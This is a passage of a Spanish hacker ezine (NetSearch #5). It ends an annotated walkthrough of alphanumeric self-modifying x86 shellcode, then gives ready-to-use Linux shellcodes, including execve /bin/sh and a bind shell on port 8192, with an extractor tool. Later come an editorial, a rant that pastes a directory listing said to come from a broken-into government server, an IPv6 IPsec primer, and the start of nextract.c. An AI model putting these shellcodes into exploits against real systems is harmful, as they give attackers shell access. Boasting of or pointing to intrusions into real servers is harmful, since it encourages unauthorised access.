+ <xorl %eax,0x58(%ebp)="">
. Ya tenemos %eax en la dire %ebp+0x58.

+ <xorl %esp,0x58(%ebp)="">
. Primer paso para copiar el contenido de %ebp+58 a %esp.

+ <xorl 0x58(%ebp),%esp="">
. Ya tenemos copiado %ebp+0x58 (%eax) en %esp. Esto se hace para que no
sobreescribamos la propia shellcode cuando mas tarde hagamos unos cuantos
push's. De esta forma los push's siempre iran 'por encima' de la scode y no
habra peligro de sobreescribir nada importante.

+ <push $0x45="">
. Guardamos el valor 0x00000045 en la pila.

+ <popl %eax="">
. Ponemos %eax a 0x00000045

+ <xorb $0x45,%al="">
. Ponemos %eax a cero (0x00000000)

+ <pushl %eax="">
. Ponemos un long null en la pila

+ <push $0x68736538="">
. Guardamos lo q sera parte del string '/bin/sh'

+ <popl %eax="">
. Recuperamos en %eax lo q sera parte del string '/bin/sh'

+ <xorw $0x4a56,%ax="">
. Modificamos el contenido de %ax para conseguir el string

+ <pushl %eax="">
. Lo colocamos en la pila (recordemos que detras hay un long null)

+ <pushl $0x69626565="">
. Segunda parte de lo que sera el string '/bin/sh'

+ <popl %eax="">
. Lo recuperamos en %eax (idem que antes)

+ <xorw $0x4a4a,%ax="">
. Lo modificamos con un xor (idem de idem)

+ <pushl %eax="">
. Lo ponemos en la pila. Ahora tenemos en memoria //bin/sh0x00000000

+ <push %esp="">
. Salvamos la direccion del string

+ <popl %ecx="">
. Recuperamos la direccion del string en %ecx

+ <push $0x59="">
. Primera parte del procedimiento para poner %eax a cero

+ <popl %eax="">
. Guardamos 0x00000059 en %eax

+ <xorb $0x59,%al="">
. %eax = long null

+ <push %eax="">
. Ponemos un long null en la pila

+ <push %ecx="">
. Ponemos la dire del string en la pila

+ <push %esp="">
. Ponemos la dire del array (dire_string,null) en la pila (*argv[])

+ <push %eax="">
. Guardamos un long null en la pila

+ <push %ebp="">
. Guardamos la direccion del principio de la shellcode en la pila. Recordemos
que %ebp teoricamente contiene la dire exacta de la shellcode, ya que
sobreescribimos %ebp con la dire de retorno en el xploit, y fuimos
incrementandolo con los nops.

+ <popl %eax="">
. Recupera la direccion de la shellcode en %eax.

+ <xorl 0x58(%eax),%ecx="">
. Procedimiento para mover %ecx a %ebx usando una direccion intermedia, %ecx
contiene la direccion del string '/bin/sh'.

+ <xorl %ecx,0x58(%eax)="">
. Con esto coloca %ecx en la direccion %eax+0x58 (direccion que no contiene
codigo de la scode, por lo tanto no nos importa lo que sobreescribamos).

+ <xorl %ebx,0x58(%eax)="">
. Procedimiento igual pero ahora con %ebx.

+ <xorl 0x58(%eax),%ebx="">
. Copiamos el contenido de la dire %eax+0x58 a %ebx. Es decir, ya tenemos
%ecx en %ebx (la dire del string).

+ <popl %edx="">
. Recupera un long null en %edx que habiamos guardao hace mil años XD.

+ <popl %ecx="">
. Recupera la direccion del array *argv[] en %ecx que tambien habiamos
guardao hace mil años.

+ <dec %edx="">
. Decremante %edx, ahora vale 0xffffffff

+ <xorw %dx,0x56(%ebp)="">
. Procedimiento de automodificacion de codigo. Con esto conseguiremos cambiar
el byte 0x32 que esta mas abajo en memoria (dire %ebp+0x56 para ser
exactos) por 0xcd (primer byte de int $0x80). Y dejamos preparado el byte
0x47 para convertirlo con un segundo xor en 0x80.

+ <inc %edx="">
. Volvemos a poner %edx a cero.

+ <push $0x38="">
. Ponemos el byte 0x38 en la pila.

+ <popl %eax="">
. %eax = 0x00000038

+ <xorb %al,0x57(%ebp)="">
. Convertimos el byte que antes era 0x47 a 0x80, con lo que cuando se
ejecuten esos 2 bytes se ejecutara int $0x80. Hemos convertido los bytes 0x32
y 0x47 en 0xcd y 0x80 (opcodes de int $0x80).

+ <xorb $0x33,%al="">
. Ponemos %al a 0x0b (0x38 xor 0x33 = 0xb).

+ <.byte 0x32>
. Byte que sera/ha sido convertido a 0xcd

+ <.byte 0x47>
. Byte que sera/ha sido convertido a 0x80.


Y ya esta, a que no ha sido tan dificil? :). Con esto conseguimos una
shellcode alfanumerica totalmente funcional y que permite nops infinitos,
con un tamaño de 88 bytes.



-----------------------------------------------
// 9.- Recopilacion de shellcodes / extractor
-----------------------------------------------


Aqui pego una recopilacion de scodes listas para ser usadas. Para
'extraerlas': nextract archivo.txt. Por cierto que todas son made by RaiSe
(algunas como la alfanumerica compartiendo ideas con Zer0 y Fatuo ;) ).


<++> shellcodes/sc-esp.c $8308a7a77bbe3103152344e40da5df0d

// scode '%esp' sobreescrito

char shellc[128]=
"
\xeb\x1f\x5f\x89\xfb\x31\xc0\x88\x47\x07\x89\x7f\x08\x89\x47"
"
\x0c\x8d\x4f\x08\x8d\x57\x0c\xb0\x0b\xcd\x80\x31\xdb\x89\xd8"
"
\x40\xcd\x80\xbc\xf0\xff\xff\xbf\xe8\xd7\xff\xff\xff\x2f\x62"
"
\x69\x6e\x2f\x73\x68";

<-->

<++> shellcodes/sc-oneline.c $cfec37c76b30001d337f80e7eb35b206

// scode sin retornos de linea

char shellc[128]=
"
\xeb\x19\x5f\x89\x7f\x10\x31\xd2\x88\x57\x07\x89\x57\x14\x89"
"
\xfb\x8d\x42\x50\x8d\x4f\x10\x83\xe8\x45\xcd\x80\xe8\xe2\xff"
"
\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

<-->

<++> shellcodes/sc-mini.c $9d747e94e6be0a71682e2dd1ab6b77d8

// miniscode, 24 bytes

char shellc[128]=
"
\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
"
\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";

<-->

<++> shellcodes/sc-portshell.c $ecba7d17930eb1b3d596b5eb21c431ce

// scode que enlaza una shell en el puerto 8192

char shellc[512]=
"
\x4c\x4c\x4c\x4c\x5f\x89\xfc\x31\xc0\x89\xc3\xb0\x02\xcd\x80"
"
\x39\xc3\x74\x05\x8d\x43\x01\xcd\x80\x31\xd2\x89\x57\x08\x42"
"
\x89\x57\x04\x42\x89\x17\x89\xf9\x31\xdb\x43\x8d\x43\x65\xcd"
"
\x80\x89\xc6\x31\xd2\x89\x17\xc6\x07\x02\xc6\x47\x02\x20\x89"
"
\x57\x04\x89\x77\x08\x89\x7f\x0c\x89\x57\x10\xc6\x47\x10\x10"
"
\x8d\x42\x66\x8d\x5a\x02\x8d\x4f\x08\xcd\x80\x89\x37\x89\x57"
"
\x04\xc6\x47\x07\x01\x8d\x42\x66\x8d\x5a\x04\x89\xf9\xcd\x80"
"
\x89\x57\x04\x89\x57\x08\x8d\x42\x66\x8d\x5a\x05\xcd\x80\x89"
"
\xc3\x31\xc9\x8d\x42\x3f\xcd\x80\x8d\x42\x3f\x41\xcd\x80\x8d"
"
\x42\x3f\x41\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f"
"
\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";

<-->

<++> shellcodes/sc-alfa.c $f9c01b11bf127c80454b55d2ea3525ef

// scode alfanumerica
// nop is 'E'

char shellc[128]=
"
LLLLX3EX1EX1eX3eXjEX4EPh8eshXf5VJPheebiXf5JJPTYjYX4YPQTPUX"
"
3HX1HX1XX3XXZYJf1UVBj8X0EW432G";

<-->

<++> shellcodes/scodes.h $7986750a103954c2ac983bee2abd34cd
// Extractor de shellcodes by RaiSe
// NetSearch Ezine
// Testeado en redhat 6.0


#define SIZE 2048

int printsc (int funcion)
{
int i,cc;
char dst[SIZE],buf[SIZE],*p;

p=(char *)funcion;
sprintf(buf,"
%s",p);
p=dst;

printf("
\nExtractor de shellcodes");
printf("
\nRaiSe - NetSearch Ezine\nhttp://www.netsearch-ezine.com\n");

for(i=3;i<strlen(buf);i++) {="" sprintf(p,"
%08x",buf[i]);="" *p="*(p+6);" *(p+1)="*(p+7);" p+="2;" }="" i="0;" printf("\nchar="" shellc[]=");

while(dst[i]!=0x00)
{
printf("
\n\"");="" for(cc="0;cc<15;cc++)" if(dst[i]="=0x00)" break;="" printf("\\x%c%c",dst[i],dst[i+1]);="" i+="2;" printf("\"");="" printf(";\n\n");="" return(1);="" <--="">


-------------------
// 10.- Despedida
-------------------


Bueno, y esto ha llegado a su fin. Como suele decirse ha sido un placer
escribirlo ;). Por desgracia no puedo mandar un saludo a mi novia porque ya
no la tengo.. cosas que pasan en la vida.. Un saludo muy especial para sp4rk,
quasar, doing, cafo & company ;).

Nos vemos en NetSearch Ezine #6, hasta pronto.


RaiSe



0x00

-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_


=-[ 0x05 ]-==================================================================
=-[ NetSearch Ezine #5 ]-====================================================
=-[ NetSearch al habla ]-====================================================
=-[ por NetSearch ]-=========================================================




Pues bien, como se me ha pasado comentarlo en la editorial, os voy a recordar
una cosilla que, sin animo de ser pesado, es fundamental. Me estoy refiriendo
a las colaboraciones.. Si estas pensando en escribir un articulo y no sabes
donde mandarlo, no lo dudes mas, editor@netsearch-ezine.com rulez ;). Solo
tiene que cumplir unos cuantos requisitos (infimos), para que sea
publicado. Estos son:


+ Estar escritos con un maximo de 77 columnas.

+ No usar caracteres fuera del estandar ASCII (7 bits) a excepcion de
la eñe. Es decir, nada de acentos ;).

+ Siempre que el texto se base en otro ya publicado primero se consul-
tara con el autor del mismo, y en caso de que no tenga inconveniente
se procedera a su publicacion citando la fuente en el articulo. Lo
mismo para una traduccion, con la particularidad de que en este caso se
indicara claramente que se trata de una traduccion.

+ Intentar no usar formas 'raras' de expresion, algo asi como: "
0la ke
t4L? s0y Ch4CH1". Se puede pasar alguna que otra (escribir ke en vez
de que, etc.) pero si el texto llega a ser ilegible.. chungo.


Y nada mas.. a que no es tan dificil? ;). Tambien tengo que recordaros otra
cosa.. A los que os guste tener el ezine en archivos separados (cada articulo
en un fichero), podeis conseguirlo simplemente compilando el fichero
nextract.c que acompaña al ezine y ejecutando: "
nextract -s ns005.txt".

Asi mismo si quereis 'extraer' los ficheros (normalmente codigos fuente) de
un archivo del ezine simplemente hay que ejecutar el nextract de esta forma:
"
nextract fichero.txt", y se crearan los ficheros correspondientes. Por
cierto que el nextract ha sido modificado por cafo para que haga la funcion
de separar el ezine en archivos (entre otras), thanks again cafo ;).

En el tema del RC5-64 seguimos igual, es decir, mal XD. Vamos los ultimos de
la liguilla entre ezines hispanos.. aun asi confiamos en que la cosa de un
vuelco de esos repentinos y nos pongamos los primeros (somos unos ilusos). La
direccion para darse de alta es http://rc5.distributed.net, y el numero de
identificacion de NetSearch el 11007.

Tambien puedes apuntarte a nuestra lista de correo (abierta y moderada).
Puede participar cualquiera, siempre que el contenido del mail tenga cierta
relacion con la tematica de la lista; seguridad informatica, hack, phreak,
etc. Para darte de alta solo tienes que ir a la direccion siguiente y cubrir
un pequeño formulario: 'http://groups.yahoo.com/subscribe/netsearch'. No te
olvides tampoco de pasarte de vez en cuando por nuestro canal del irc-hispano
#netsearch ;). Y bueno, ya que estamos de propaganda pasate tambien de vez en
cuando por nuestra web 'http://www.netsearch-ezine.com' ;D.

Cambiando de tema, hay una cosa que me ha llamado bastante la atencion. Y es
que los plagios de los articulos parece que estan de moda.. Han sido varios
casos de ezines concretos los que han involucrado a NetSearch. No voy a dar
nombres, ya que dichos ezines ya han sido avisados por email, simplemente
hacer un pequeño llamamiento a los editores para que se tenga un poco mas de
rigor a la hora de contrastar el origen de un articulo. Con esto no quiero
decir que NetSearch Ezine este libre de plagios, pero somos muy reacios a
incluir articulos de gente que no consideramos 'de confianza'. Es mas, el 90%
del ezine esta hecho por el propio Staff, con lo cual las posibilidades de
dicho plagio se reducen bastante..

Bueno, creo que ya no me queda nada mas que decir asi que me voy a ir
pirando.. Tened cuidado con esa gripe que esta pegando fuerte este mes de
febrero/marzo ;). Un saludo a todo@s.


El Editor



0x00

-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_


=-[ 0x06 ]-==================================================================
=-[ NetSearch Ezine #5 ]-====================================================
=-[ Reflexiones sobre los MIG ]-=============================================
=-[ por NEULK ]-=============================================================




18:00 horas,un dia cualquiera entre semana, cafeteria del centro donde
el aki presente estudia...

- Diga?
* Soy Middle, nano no te puedes imaginar lo que te estoy apunto de decir.
- No se middle, tu diras...
* Vas a flipar, han pillado a Newman y ha pasado noche en el calabozo...

Y asi es como empezo un cumulo de reacciones internas, dificil de
explicar con mi triste y pobre vocabulario.

Inmediatamente me puse en contacto con todos para ver que pasaba y como
habia ocurrido todo esto.

Efectivamente Newman habia pasado noche en el calabozo. Un chico normal,
con un trabajo serio habia sido detenido en plan pelicula de matrix y
habia pasado noche en el cuartelillo cuando aun no se habia ni confirmado
si era culpable, inocente, o la persona que en ese momento los putos mig
estaban buscando.

Muy triste...

Y es que siempre estamos igual, siempre primero las acciones y los hechos
para asegurar la justificacion de unos presupuestos destinados a una mas
que dudosa tarea de investigacion de supuestos 'delincuentes?¿?¿
hackernienses ?¿?', y luego hecho todo, cuando ya es tarde, entonces es
cuando se mira si es correcta, acertada o justificable la accion
emprendida.

Y es que me van a perdonar todos aquellos lectores que encuentran sentido
a todo esto, pero a mi, el que les escribe, me cuesta, me cuesta mil
entender el porque se tiene que destinar un dinero (mayor o menor) a joder
a una persona que encima no ha hecho absolutamente nada de lo que se le
acusa para variar...

Y lo peor son las formas y el daño hecho. Porque claro, cuando en la
television o en medios cuya intencion es la de captar oyentes/lectores o a
fin de cuentas, clientela, se expone una noticia de este tipo, lo real, lo
humano, es de lo que se olvidan. Ahi no hay defensa, ahi no hay noticia,
eso no interesa. Ahora, claro, la investigacion de nuestros superagentes
que han pillado un hacker que no se que y me la come el no se
tal, eso si. Porque volvemos a lo de siempre...vende.

Pero el daño esta hecho, persona con trabajo estable, sin antecedentes,
chico como vuestros amigos, como el mas normal del planeta, ese si. Como
es el mas facil de todos los objetivos, ese si es 'jodible', ese
justifica el sueldo, lo que se han gastado en investigacion. Y ahora
que?, que pasa con un curriculum que a partir de ahora esconde una
penuria, un traspies, algo dificil de entender para un jefe de
personal. Que pasa con el trabajo del inocente. Como lo recupera ahora?
quien dice ahora 'me han/estuve detenido pero soy inocente'. Que
triste...no me canso de decirlo.

A mi ahora me gustaria saber cuanto se han gastado en una investigacion de
un año. Cuanto cuesta pichar un telefono, cuanto cuesta tener agentes
noche y dia detras de una persona, cuanto cuesta todo eso... ?. Y para
que? pues señores y señoras, para nada....el dinero de todos los
contribuyentes para nada, que incomprensible perdida.

Porque cojones no mandan ese dinero a otros sectores/departamentos/o otros
tipos de investigaciones?...joder.

A mi, si pillan a un subnormal que tiene montada la megaempresa y es todo
pirata, pase. A mi si se cepillan al gilipollas que estafa no se
cuantos millones, pase. Pero coño, hacerlo con alguien que ni va ni viene
de todo ese tema.....vamos. Hostias, gastaros los duros con los mamones
que ponen las putas bombas!!. O mejor aun, si, eso, mucho mejor, que tal
si os gastais el puto dinero en 'asegurar' vuestros propios servidores,
que luego uno se traga unas cosas que.....


[ Extracto censurado por todos laos que me la juego :PPPP ]

nciacti unknown 4138 982031400 264 null null
helicoptero directory 512 916934964 0 null null
imagen directory 6656 977129514 0 null null
enlace.html text/html 929 916941726 260 null null
error.html text/html 2020 916846154 264 null null
iadministracion.html text/html 3198 898246046 260 null null
icarreteras.html text/html 3400 919277214 260 null null
iindex.html text/html 4643 919800294 260 null null
ilegislacion.html text/html 2626 900664326 260 null null
carreteras directory 3584 981986707 0 null null
irevista.html text/html 3512 898186408 260 null null
legislacion.html text/html 2626 861819920 268 null null
oposiciones.html text/html 2845 913297386 264 null null
gsm.txt text/plain 6618 982031400 260 null null
notas directory 512 908869666 0 null null
camaras directory 9216 972038790 0 null null
becas directory 512 975326630 0 null null
notas2 directory 512 913297206 0 null null
boletin directory 1024 966601722 0 null null

[ fin extracto :P ]


Esto es triste. Ahi si debe ir dinero por ejemplo. Que asco. Me da
verdadero asco.... lo peor es que tenga que leer lo de ministerio
de 'tal y tal' al final de la pagina del susodicho mierda de servidor.

Y encima no hay que hacer nada. No cuesta nada entrar. Es como el fallo de
la pagina de los mig tiempo atras. O como la de la moncloa....no es
complicado. Solo hay que jugar un poco a no ser paleto....solo eso.

Pero como bien se dice muchas veces, esto es españa, y asi somos, para lo
bueno y para lo mas garrulo.

Porque cuando nos toca ser garrulos, bien que lo somos. Y si no que se lo
pregunten a los men in blue. Que heavy es tener que ver la coleccion
entera desde el numero 1 hasta el ultimo de cierta revista que da nombre a
cierto simbolo emailistico... y encima oir cosas como, tenemos poco
presupuesto asi que nos subscribimos solo a 4 revistas del sector....
juas pues si de 4 una es esa, sin desmerecer a los que viven a costa de
ella, cuales seran las demas?. Una linux magazine sera? o a lo mejor se
han comprado todos los volumenes del TCP/IP illustrated?. No lo creo.
Porke lo que reina es la incompetencia. Una incompetencia que se extiende
a todo. Que si soplos de que cierto buque llegaria con no se cuantas
toneladas de... aire?. Que si un tio con la condicional que se folla a no
se cuantas tias.. que si no se cuantos millones robados de no se que
aereopuerto... y ahi estan ellos, demostrando de lo que mas entienden. De
incompetencia.

Claro, eso lleva ya a tecnicas insospechadas. Y alla que nos vamos al siglo
anterior. Porke claro, peliculas de indios y vaqueros si han visto. Y que
mejor que esas peliculas para obtener nuevas 'tacticas' contra los
'delincuentes'. Y muchos se preguntaran, de que habla este colgao. Pues lo
ultimo ahora es aproximadamente pagar medio millon de pesetas para el que
denuncie alguna empresa con software pirateado. Al cambio unos 4000-4500$.
Aleeee mas dineroo!, eso si, para gastarselo en formacion u otros
menesteres no. Pero para jugar a indios y vaqueros si. Y ahora voy yo,
tonto de mi, que el otro dia tuve un accidente y estuve rellenando un
parte en una comisaria y descubri cierca 'cosita' y me pregunto:
que ocurriria si la BSA (por decir alguien) hiciera una inspeccion a las
comisarias de policia?, que ocurriria? Porque me da a mi que el numero de
serie 000-000....(y repitasen los ceros hasta el final) creo que no es
muy habitual.....creo yo vamos. Pero claro, eso solo lo veremos en alguna
pelicula futura si se hace. En fin...

Ya me enrollado bastante, ya me he desahogado bastante.... y ya os
he aburrido bastante.....

El texto, sera garrulo, sera estupido, no aportara nada, supongo que
generara algo que pensar y opiniones de todos los gustos. Bien!, eso
quiero. Que cada uno se lo plantee como quiera, que cada uno haga sus
moralejas....es mi modesta opinion y asi la he contado XD

Desde estas lineas mi mas publico apoyo al protagonista de esta
historia, que ademas de protagonista es un amigo. Un poco colgao XD, pero
un amigo en la distancia...


[ Todos los nicks del texto son ficticios ]
[ El extracto es real al 100% ]
[ Para paletos: mig -> men in green ]


Un saludo...

NEULK


(este nick tambien es falso, of course)



0x00

-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_


=-[ 0x07 ]-==================================================================
=-[ NetSearch Ezine #5 ]-====================================================
=-[ Seguridad en IPv6 ]-=====================================================
=-[ por MegadetH ]-==========================================================




* 1 INTRO
^^^^^^^^^^^

Desde principios de los 90 estaba claro que Internet estaba llegando a las
limitaciones de su familia de protocolos IPv4,limitaciones de
direcciones,limitaciones de seguridad,litaciones de rendimiento...,el RFC
1287 publicado en 1991 describe los propositos de actualizacion mas
importantes,decididos de unos encuentros entre algunas organizaciones como la
IAB (Internet Architectu- re Board) o la IESG (Internet Engineering stering
Group).Algunas areas en las que se centraron fueron:


-Enrutado y direccionamiento
-Arquitectura multiprotocolo
-Seguridad
-Control y estado del trafico
-Aplicaciones avanzadas sobre IP


A partir de aqui y pasando por varios proyectos que eran tenidos en cuenta
por la IETF (RFC 1347 :TUBA,RFC 1475: IP/IX,RFC 1709 :LATNIP,RFC 1710 :SIPP)
(por cierto echadles un vistazo si os aburris algun dia xDD),pos al fin se
llega al conocido hoy por IPv6 cuyo primer estandard (RFC's 1883-1887)dejo
paso al actual IPv6 en 1998 (RFC's 2373-2375++).IPv6 esta siendo ya soportado
por numerosos productos,por ejemplo la FreeBSD 4.0 lo soporta ya plenamente
en lo que se conoce como dual stack IPv4/IPv6,y el linux empieza ya a sopor-
tarlo tb,imagino k las distros basadas en el 2.4 lo haran ya plenamente.

No es mi intencion meterme a explicar paso a paso toda la familia IPv6 sino
centrarme en algunas de las caracteristicas de seguridad que posee,por cierto
que me han llamado la atencion algunas cosas de la IPv6 como por ejemplo el
que varias tarjetas de red puedan tener la misma direccion IPv6 para distri-
buir la carga hacia un server muy saturado,por ejemplo,(supongo ke las tar-
jetas de red deberan soportar esta caracteristica tb),el tema de la fragmen-
tacion de paquetes o la desaparicion de las direcciones broadcast,aunque se
podra usar un multicast "
to all nodes" para casos necesarios.

Weno la verdad es que cuando uno se acostumbra a una cosa jode cambiar xDDDD
pero habra que acostumbrarse a las IP's de tipo:

1015:0:0:0:F932:FF12:48AA:1A2B/60 de 128 bits (4 bits x 4 digitos x 8 nums.)
:-))

++Nota: estos RFCs son los mas destacados pero naturalmente hay muchos mas.


* 2 IPSEC
^^^^^^^^^^^

El objetivo de IPSec es proveer de mecanismos de seguridad al IPv4 e IPv6(RFC
1825)en la capa IP,asi 2 sistemas pueden comunicarse de forma segura usando
IPsec con algoritmos y protocolos seguros,e incluso pueden negociar que algo-
ritmo sera usado para encriptar el trafico entre ambos.

Algunos de los servicios de seguridad que son parte de IPSec son :

-Control de acceso : Uso seguro de llaves permitiendo la autentificacion de
un usuario para el acceso a un sistema.

-Integridad sin conexion:Identificacion de paquetes individualmente

-Identificacion del origen de los datos mediante el uso de algoritmos de fir-
ma digital.

-Mecanismo contador de paquetes

-Encriptacion (o cifrado xDDD)

-IP Tunneling proporcionando mayor confidencialidad aun con el trafico
encriptado.

Todas estas funciones son posibles mediante el uso de la cabecera AH (Authen-
tication Header) y la cabecera ESP(Encapsulation Security Payload),IPv4 tam-
bien puede hacer uso de ellas pero su implementacion es mas facil en IPv6.

--Mas informacion sobre IPSec (como los algoritmos de encriptacion y autenti-
ficacion k usa,como se implementa como parte de IPv4 e IPv6,tunneling etc,
etc) mail me...--

Las cabeceras pueden ser usadas individualmente o juntas,si van juntas la AH
va antes k la ESP,para k se produzca la autentificacion antes k la desencrip-
tacion.


* 3 AH (Authentication Header)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Con la AH podemos obtener las siguientes ventajas:

-Servicios de integridad para datagramas IP
-Autentificacion para datagramas IP
-"
Non Repudiation" para datagramas IP
-Rechazo de paquetes con el mismo numero de secuencia ya recibidos

Puede ser usada en modo tunel o en modo transporte(es decir para proteger
trafico entre dos hosts de modo normal o para proteger un grupos entero de
data- gramas enviados hacia o por un gateway seguro,--mas sobre esto mail
me...--) Cuando es usado con otras cabeceras debe ser colocada despues de
cualkier cabecera que sea procesada en la ruta,en cualkiera de los saltos y
antes de las cabeceras que son procesadas en el destino.

En modo transporte protege el payload del datagrama original y las partes de
la cabecera k no cambian en el camino del datagrama hacia el destino. En modo
tunel es diferente,la direccion de destino original y el datagrama IP
original son encapsulados en un nuevo datagrama que es enviado al gateway se-
guro.

--No incluyo los graficos de los datagramas en este caso,ni los de las
cabeceras luego,para no hacer el arti tan largo,si a alguien le interesa
mail me.

Campos de la AH:

-Next Header:comun en todas las cabeceras Ipv6,8 bits,indica el protocolo de
la cabecera siguiente.

-Payload Lenght:8 bits,longitud de la AH en palabras de 32 bits -2.LA AH con-
siste en 64 bits de cabecera y el resto corresponde a los datos de autentifi-
cacion.

-Reserved:16 bits,por ahora todo ceros,reservado para uso futuro.

-SPI(Security Parameter Index)32 bits,Es un numero arbitrario,junto con la
direccion de destino y el protocolo de seguridad(en este caso AH)identifica
la asociacion de seguridad (SA Security Asociation : contiene una combinacion
de datos k pueden identificar una conexion con propositos de seguridad,--mas
sobre esto mail me--).Un valor de 0 significa que es para uso local y no se
transmite,los valores de 1-255 estan reservados por la IANA para su uso
futuro.

-Sequence number:32 bits,esto ya lo conocemos de la cabera TCP,aunke parece
ser k en el AH va destinado a evitar los atakes de repeticion,asi un pakete
con el numero de secuencia duplicado se descarta automaticamente.

-Authentication data:Este campo contiene el ICV (Integrity Check Value),cora-
zon de la AH,la longitud debe ser un multiplo de 32 bits,y puede ser
rellenado para ello.El ICV (ver drafts k actualizan al RFC 1826)es el
resultado de un algoritmo de autentificacion que puede ser:

-Message Authentication Codes (MACs)cuyo resultado es encriptado con un algo-
ritmo simetrico (p.e. DES)

-Funciones Hash como MD-5 o SHA-1 (de hecho debe soportar al menos ambas para
cumplir con el estandard)

--La verdad es que en criptologia y criptoanalisis no soy un experto asi ke
para mas info os remito al tio Cafo xDDD --

La Authentication Date es calculada en el datagrama IP entero y en las partes
de la cabecera IP que no pueden cambiar.


* 4 ESP (Encapsulation Security Payload)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Esta designada para permitir enviar y recibir datagramas encriptados y espe-
cialmente para proporcionar diferentes servicios (algunos en conbinacion con
la AH)p.e.:

-Confidencialidad de datagramas a traves de la encriptacion.

-Autentificacion de los datos de origen a traves del uso de encriptacion de
clave publica.

-Confidencialidad del flujo de trafico a traves de gateways seguros.

-Descarte de paquetes con el mismo numero de secuencia ya recibidos (como en
la AH)La ESP puede ser usada con la AH,de hecho es lo recomendado y debe se-
guir a cualquier cabecera que deba ser procesada por nodos intermedios.Todos
los datos que siguen a la ESP son encriptados,de hecho los datos encriptados
aparecen como el ultimo campo de la ESP.Como la AH,puede ser usada en modo
transporte o en modo tunel,en modo transporte la cabecera IP y algunas otras
cabeceras extendidas(la ESP y la AH forman parte de las cabeceras extendidas
del IPv6 asi como las de enrutado etc etc --mas info sobre esto mail
me--)como las "
routing","fragmentation" etc preceden a la AH (si esta) y
despues se situa la ESP.Si hay cabeceras a ser procesadas en el destino
pueden ir antes o despues de la ESP,si la siguen son encriptadas. Aun con
todo esto se puede analizar y estudiar el trafico entre los dos hosts.

Una alternativa es usar un gateway seguro,que puede operar directamente con
un host,o con otro gateway seguro,un host puede usar la ESP en modo tunel
para encriptar todo el trafico saliente y encapsularlo en diferentes grupos
de datagramas que son enviados al gateway seguro,que desencripta el trafico y
lo manda a sus destinos.Cuando se usan en modo tunel,la ESP encapsula el
datagrama IP entero y es una extension de la cabecera IP que dirige el
datagrama hacia el gateway seguro.

Campos de la ESP:

La cabecera ESP cambia un poco comparada con otras cabeceras IPv6,el campo
"
Next Header" por ejemplo,aparece casi al final de la cabecera y no al
principio,y la cabecera que precede a la ESP especifica k le sigue una ESP
poniendo el valor 50 en su campo "
Next Header".

Los campos son:

-SPI(Security Parameter Index):32 bits,igual k en la AH,es usado por los no-
dos k se comunican para referenciar una asociacion de seguridad (SA) que se
usa para determinar como se encriptaran los datos.

-Sequence number:32 bits,igual k en la AH

-Payload data:Campo de longitud variable,contiene la parte encriptada del da-
tagrama y algunos datos suplementarios necesarios para el algoritmo de
encriptacion.

-Padding:La parte encriptada debe tener un tama¤o apropiado,asi k habra ke
rellenarla para ello (padding=relleno).

-Padding Lenght:Cuanto relleno se la ha a¤adido a los datos.

-Next Header: 8 bits,igual que en todas las cabeceras IPv6 indica el
protocolo de la cabecera siguiente,solo k aki no esta al principio

-Authentication data:ICV calculado en la cabecera ESP entera (excepto la
Authentication Data)es opcional (ver Authentication Header de la AH y nota
sobre el ICV arriba).

Como minimo se espera que la ESP soporte encriptacion DES y autentificacion
SHA-1 para cumplir con el estandar.


* 5 Notas finales
^^^^^^^^^^^^^^^^^^^

Weno pos nada algunas cosas se quedan en el tintero,como por ejemplo el ma-
nejo de llaves (protocolo de intercambio,algoritmos a usar,tiempo de vida,
longitud..etc)--para mas info mail me.-- :-))))

Espero que esta intro os sirva de algo :-))y no os parezca un rollo xDD. Si
alguien decide preguntarme algo puede hacerlo bien a mi particularmente
crazy_jm@worldonline.es // irc-hispano #netsearch o bien enviando un mail a
la lista de correo de NetSearch (preferible,para ser comentado por todos).

Un buen sitio para bajarse los RFC's es la peich de internic:www.internic.net
ke permite navegar por la lista comodamente o bien su server de ftp:ds.inter-
nic.net (get /rfc/rfc2373.txt).Aunke hay multitud de urls para ello. Dispongo
actualmente de una lista + o - completa de RFCs relacionados con el IPv6 si a
alguien le interesa mail me. Saludos a todos.


MegadetH

nextract.c

/*  nextract.c 
*
* Programa original: phrack staff (r)
* Modificacion CRC32: cafo
* Modificacion MD5 : cafo
* Modificacion Split: cafo
*
* El programa extrae archivos incluidos (codigos fuente y demas) incluidos
* dentro del e-zine.
*
* Con el modificador [-s] se separaran los articulos del e-zine en archivos
* separados numerados.
*
* Compilacion:
* gcc -o nextract nextract.c
*
* ./nextract [-s] file1 file2 file3 ...
*/


#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <string.h>
#include <dirent.h>

#define BEGIN_TAG "<++> "
#define END_TAG "<-->"
#define BT_SIZE strlen(BEGIN_TAG)
#define ET_SIZE strlen(END_TAG)
#define SPLIT_TAG "=-[ 0x"
#define SPLIT_SIZE strlen(SPLIT_TAG)

struct f_name
{
unsigned char name[256];
struct f_name *next;
};

#ifdef __alpha
typedef unsigned int uint32;
#else
typedef unsigned long uint32;
#endif

struct MD5Context
{
uint32 buf[4];
uint32 bits[2];
unsigned char in[64];
};

void MD5Init(struct MD5Context *context);
void MD5Update(struct MD5Context *context, unsigned char const *buf,
unsigned len);
void MD5Final(unsigned char digest[16], struct MD5Context *context);
void MD5Transform(uint32 buf[4], uint32 const in[16]);

typedef struct MD5Context MD5_CTX;

#ifndef HIGHFIRST
#define byteReverse(buf, len)
#else
void byteReverse(unsigned char *buf, unsigned longs);

#ifndef ASM_MD5
void byteReverse(unsigned char *buf, unsigned longs)
{
uint32 t;
do {
t = (uint32) ((unsigned) buf[3] << 8 | buf[2]) << 16 |
